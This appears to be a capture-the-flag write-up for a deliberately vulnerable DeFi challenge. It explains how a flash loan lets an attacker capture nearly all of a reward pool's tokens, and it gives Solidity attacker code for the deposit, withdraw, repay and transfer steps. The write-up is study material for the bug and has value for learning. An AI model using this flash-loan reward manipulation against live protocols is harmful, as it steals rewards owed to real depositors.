the the-rewarder.challenge.js ‘s code translate to words:
There’s a poolTheRewarderPooloffering rewards in tokensRewardTokenevery 5 days for those who deposit their DVT tokens into it. Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards! You don’t have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.
in this level, u can pass the level by flashloan!
contract analyse
RewardToken:it is a normal ERC20 token
AccountingToken:it is an ERC20 token. It is used with The RewarderPool to better managing and controling the rewards.
FlashLoanerPool:a flashloan pool, we can flashloan some money to do something bad
TheRewarderPool:deposit, withdraw, allocate AccToken and RewardToken. It is the core Contract.
business analyse
From the picture I created, we can know the whole logic of this level:
DVT is a nornal ERC20 token, while FlashLoanerPool privides us to flashloan
RewardToken is the stuff we need to get. It is allocated by the TheRewarderPool, while TheRewardPool allocates RewardToken by the scale of the AccoutingToken
everyone deposits his DVT to RewarderPool will get AccountingToken
every 5 days, TheRewarderPool will give every participant some RewardToken: one’s contribute AccToken / all AccToken
in this formula and logic, the more u deposit, the more u get AccToken, the more u get RewardToken
So we can flashloan a lot of DVT to deposit, we will get the whole RewardToken(100). Why it is 100 ? they four also deposts 100 DVT to the TheRewarderPool. This is the reason: we deposit 1 million tokens DVT(the whole DVT in flashloanPool). Due to our token balance and thus our share of the overall tokens in the reward pool being so high, the integer division results in all other accounts receiving 0 rewards.
this is the receiveFlashLoan implementation, I have note the attack logic between the code.
The solution is the following:
Wait 5 days and take a flash loan of DVT from the FlashLoanerPool,
Deposit to the RewarderPool,
Call distributeRewards to get RewardToken,
Withdraw DVT
Repay the loan.
Send RewardToken to the attacker
1 2 3 4 5 6 7 8 9 10 11 12 13 14
function receiveFlashLoan(uint256 amount) external { // Approve and deposit DVT to get reward tokens // Approves and deposits the same amount of DVT to TheRewarderPool. DVT.approve(address(rewarderPool), amount); rewarderPool.deposit(amount);
// Withdraw DVT and pay flash loan back // Withdraws the deposited amount to pay back the flash loan. rewarderPool.withdraw(amount); DVT.transfer(address(flashPool), amount);
//The withdrawRewards() function transfers all the reward token balance of RewarderAttacker to our attacker address. rewardToken.transfer(owner, rewardToken.balanceOf(address(this))); }
and in the test file, I have note the attack logic between the code.
function attack(uint256 amount) external { require(owner == msg.sender); flashPool.flashLoan(amount); }
function receiveFlashLoan(uint256 amount) external { // Approve and deposit DVT to get reward tokens // Approves and deposits the same amount of DVT to TheRewarderPool. DVT.approve(address(rewarderPool), amount); rewarderPool.deposit(amount);
// Withdraw DVT and pay flash loan back // Withdraws the deposited amount to pay back the flash loan. rewarderPool.withdraw(amount); DVT.transfer(address(flashPool), amount);
//The withdrawRewards() function transfers all the reward token balance of RewarderAttacker to our attacker address. rewardToken.transfer(owner, rewardToken.balanceOf(address(this))); } }